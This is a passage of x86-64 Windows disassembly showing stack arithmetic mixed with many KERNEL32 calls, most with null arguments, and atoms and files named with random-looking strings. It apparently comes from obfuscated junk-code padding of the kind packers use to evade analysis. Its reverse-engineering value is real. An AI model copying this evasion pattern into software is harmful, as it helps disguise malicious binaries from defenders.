sar eax, cl
mov word [rsp + 0xf58], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx eax, word [rsp + 0x910]
movzx ecx, word [rsp + 0x1f14]
shl eax, cl
mov word [0x1401c8acc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xa530]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcda0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bc8], ax
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x2274], ax
mov rcx, qword [rsp + 0xc718]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65ac], eax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xc620]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcf68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x192], al
lea rcx, [rsp + 0x20188]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6604]
imul eax, dword [rsp + 0x6610]
mov dword [rsp + 0x5eb0], eax
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xd1e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcf60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6548], eax
movzx eax, word [rsp + 0x200c]
mov word [rsp + 0x2278], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0xc560]
mov qword [0x1401c8c20], rax
movzx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd008]
mov byte [rcx], al
lea rcx, [rsp + 0x1d520]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc848]
mov ecx, dword [rsp + 0x6630]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a00], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd1e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b0c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx eax, word [0x1401c70e4]
movzx ecx, word [rsp + 0xbb0]
add eax, ecx
mov word [rsp + 0xfdc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0x39c]
mov qword [rsp + 0xd1f0], rax
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xcec0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcc40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x66b0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2238]
and eax, ecx
mov word [rsp + 0x1cfc], ax
movzx eax, word [rsp + 0x1244]
movzx ecx, word [rsp + 0x1718]
or eax, ecx
mov word [0x1401c70f8], ax
mov rax, qword [rsp + 0xcdf8]
mov rcx, qword [rsp + 0xc3a0]
mov qword [rsp + 0xd1f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1f8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xcc38]
mov qword [rcx], rax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcc80]
mov qword [rsp + 0xd200], rax
mov rcx, qword [rsp + 0xd168]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6480], eax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xd210], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd210]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xd1d8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f9c]
sub eax, ecx
mov word [rsp + 0x1214], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6510], eax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xb5e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc668]
movzx eax, byte [rax]
mov byte [rsp + 0x3b5], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd218], rax
mov rax, qword [rsp + 0xc6f0]
mov ecx, dword [rsp + 0x64d4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x662c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc460], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x382]
add eax, ecx
mov byte [rsp + 0x293], al
mov eax, dword [rsp + 0x6674]
mov ecx, dword [rsp + 0x64e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5738], eax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20c0]
sub eax, ecx
mov word [0x1401c8a80], ax
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcbb0]
movzx eax, word [rax]
mov rcx, qword [0x1401c8c10]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x924], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xd1b0]
movzx eax, word [rax]
mov word [rsp + 0x227c], ax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb40]
sar rax, cl
mov qword [rsp + 0xa1e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6494]
mov rcx, qword [0x1401c8a40]
mov qword [rsp + 0xd220], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd220]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5b60], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rcx, [rsp + 0x20158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov qword [rsp + 0xd228], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x3b4]
xor eax, ecx
mov byte [rsp + 0x15f], al
movsx eax, word [0x1401c70d0]
movsx ecx, word [rsp + 0x2258]
and eax, ecx
mov word [rsp + 0x1c8c], ax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6408], eax
movzx eax, word [rsp + 0x20f0]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e60], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6564], eax
mov rax, qword [rsp + 0x9db0]
mov qword [0x1401c8c28], rax
movzx eax, word [0x1401c8af4]
movzx ecx, word [rsp + 0x19ac]
or eax, ecx
mov word [rsp + 0x9c0], ax
lea rdx, [rsp + 0x263e0]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66b4], eax
lea rax, [rsp + 0xa5c0]
mov qword [rsp + 0xd230], rax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc390]
mov qword [rsp + 0xd238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd238]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xcf68]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63f0], eax
mov rax, qword [0x1401c8b40]
mov qword [rsp + 0xd240], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov eax, dword [rsp + 0x5b60]
mov rcx, qword [rsp + 0xcd40]
mov qword [rsp + 0xd248], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd248]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xcc68]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd250], rax
xor r9d, r9d
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6520], eax
mov rax, qword [rsp + 0xcb48]
mov ecx, dword [rsp + 0x5d78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a0c], eax
movzx eax, byte [rsp + 0x381]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xab], al
movsx eax, byte [rsp + 0x165]
movsx ecx, byte [rsp + 0x39c]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
movsx eax, word [rsp + 0x2148]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c70c0], ax
movzx eax, word [rsp + 0x2208]
mov word [rsp + 0x2280], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xc6d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2054], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1fac]
mov word [rsp + 0x2284], ax
mov eax, dword [rsp + 0x5984]
mov rcx, qword [rsp + 0xcb50]
mov qword [rsp + 0xd258], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd258]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5b60], eax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x210c], ax
mov r9d, 0x113e
xor r8d, r8d
lea rdx, [rsp + 0xc528]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x652c], eax
mov rax, qword [rsp + 0xc008]
movzx ecx, al
mov rax, qword [rsp + 0xd080]
shr rax, cl
mov rcx, qword [rsp + 0xc5a8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd260], rax
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x65]
and eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0xd060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2148], ax
movzx eax, word [0x1401c8bd8]
mov word [rsp + 0x2288], ax
mov rax, qword [rsp + 0xcf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc608]
or rcx, rax
mov rax, rcx
mov qword [str.ttvW6E], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65d8], eax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov rcx, qword [0x1401c7030]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc898], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6540], eax
lea rax, [rsp + 0xc560]
mov qword [rsp + 0xd268], rax
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401c8a1c]
sar eax, cl
mov dword [rsp + 0x5bfc], eax
movzx eax, byte [rsp + 0x38d]
mov rcx, qword [rsp + 0xd008]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x398], al
mov rax, qword [rsp + 0xcf18]
mov rcx, qword [rsp + 0xc820]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc6c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd108], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, byte [rsp + 0x37c]
mov byte [rsp + 0x3b6], al
mov eax, dword [rsp + 0x6154]
mov ecx, dword [rsp + 0x65e0]
add ecx, eax
mov eax, ecx
mov dword [0x1401c70f0], eax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9ac]
add eax, ecx
mov word [rsp + 0xfd0], ax
mov rcx, qword [rsp + 0xd218]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65bc], eax
movzx eax, word [rsp + 0x1c8c]
mov word [rsp + 0x228c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, word [rsp + 0x2210]
movzx ecx, word [rsp + 0xfdc]
add eax, ecx
mov word [rsp + 0x1f94], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb020]
mov rcx, qword [0x1401c8a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9928], rax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38a]
and eax, ecx
mov rcx, qword [rsp + 0xcd18]
mov byte [rcx], al
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb460]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc808], rax
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov dword [rsp + 0x66b8], eax
movsx eax, word [rsp + 0x2168]
movsx ecx, word [rsp + 0x15cc]
or eax, ecx
mov word [rsp + 0x221c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rsp + 0xd218]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c70c4], ax
mov rax, qword [rsp + 0xc5e8]
movzx ecx, al
mov rax, qword [rsp + 0xab60]
shl rax, cl
mov qword [rsp + 0xa198], rax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [rsp + 0x202c], ax
mov rax, qword [rsp + 0xcdb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6200]
sar eax, cl
mov rcx, qword [rsp + 0xc728]
mov dword [rcx], eax
lea rcx, [rsp + 0x201b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov byte [rsp + 0x3b7], al
mov rcx, qword [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x6400]
mov rcx, qword [rsp + 0xcd60]
mov qword [rsp + 0xd270], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd270]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc6d0]
mov dword [rcx], eax
lea rcx, [rsp + 0x1d4f8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2268], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.YmrbG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa930], rax
mov r9d, 0x18dd
xor r8d, r8d
lea rdx, [rsp + 0xc418]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xd1f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movsx eax, word [rsp + 0xf94]
movsx ecx, word [rsp + 0x225c]
sub eax, ecx
mov word [rsp + 0x2118], ax
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
mov word [0x1401c8c30], ax
lea rcx, [rsp + 0x201e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xc528]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc868]
mov qword [rsp + 0xd278], rax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xc540]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xcf30], rax
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66bc], eax
movzx eax, word [rsp + 0x223c]
mov word [rsp + 0x2290], ax
movzx eax, word [rsp + 0x2234]
movzx ecx, word [rsp + 0x2008]
add eax, ecx
mov word [rsp + 0x924], ax
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0xca98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x3ab]
cdq
mov ecx, 0x63
idiv ecx
mov byte [rsp + 0x32e], al
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d60], rax
mov rax, qword [rsp + 0xc6f0]
mov ecx, dword [0x1401c8ab0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x663c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.MbUyFmzR9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd280], rax
mov rax, qword [rsp + 0xce80]
mov qword [rsp + 0xd288], rax
movsx eax, word [rsp + 0x9b4]
movsx ecx, word [rsp + 0x2130]
sar eax, cl
mov word [0x1401c70f4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [rsp + 0x261b0]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6530], eax
lea rcx, [rsp + 0x20218]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21a8]
shl eax, cl
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xcdb8]
mov ecx, dword [rsp + 0x5ff0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x606c], eax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x384]
sub eax, ecx
mov byte [rsp + 0x30b], al
lea rcx, str.WmksCh2F_SYhYusnE_L4WqOYgfZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2248], ax
mov rax, qword [rsp + 0xa0e0]
mov rcx, qword [0x1401c7078]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd088], rax
movzx eax, byte [rsp + 0x39b]
mov byte [rsp + 0x3b8], al
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xc950]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcb00]
mov qword [rcx], rax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov dword [rsp + 0x66c0], eax
mov rax, qword [rsp + 0xcf00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x20c0], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov word [0x1401c8c34], ax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
lea rax, [rsp + 0x2110]
mov qword [rsp + 0xd290], rax
movzx ecx, word [rsp + 0x1ff4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f88], ax
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb90], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [0x1401c8aa0]
mov rcx, qword [rsp + 0xc6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb668], rax
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23a], al
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6608]
mov ecx, dword [rsp + 0x64f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x65e8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x658c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0xcaa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f70]
xor eax, ecx
mov rcx, qword [rsp + 0xce68]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6304], eax
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64fc], eax
lea rax, [rsp + 0xa8d0]
mov qword [0x1401c8c38], rax
mov eax, dword [rsp + 0x64e8]
mov rcx, qword [rsp + 0xc8c8]
mov qword [rsp + 0xd2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x602c], eax
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x3b7]
movzx ecx, byte [rsp + 0xab]
or eax, ecx
mov byte [rsp + 0x39d], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [0x1401c8b50]
movzx eax, word [rax]
mov word [rsp + 0x2294], ax
mov edx, 0x7cd
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6458], eax
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66c4], eax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
sar eax, cl
mov rcx, qword [rsp + 0xd290]
mov word [rcx], ax
mov rax, qword [rsp + 0xc400]
mov ecx, dword [rsp + 0x65e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65d4], eax
movzx eax, byte [rsp + 0x3b1]
mov byte [rsp + 0x3b9], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0d8], rax
movsx eax, word [rsp + 0x21dc]
mov rcx, qword [rsp + 0xce88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd28], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc050], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [0x1401c8bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcaa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c8b48], ax
mov rax, qword [rsp + 0xbae0]
mov rcx, qword [rsp + 0xcf80]
mov qword [rsp + 0xd2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd2a8]
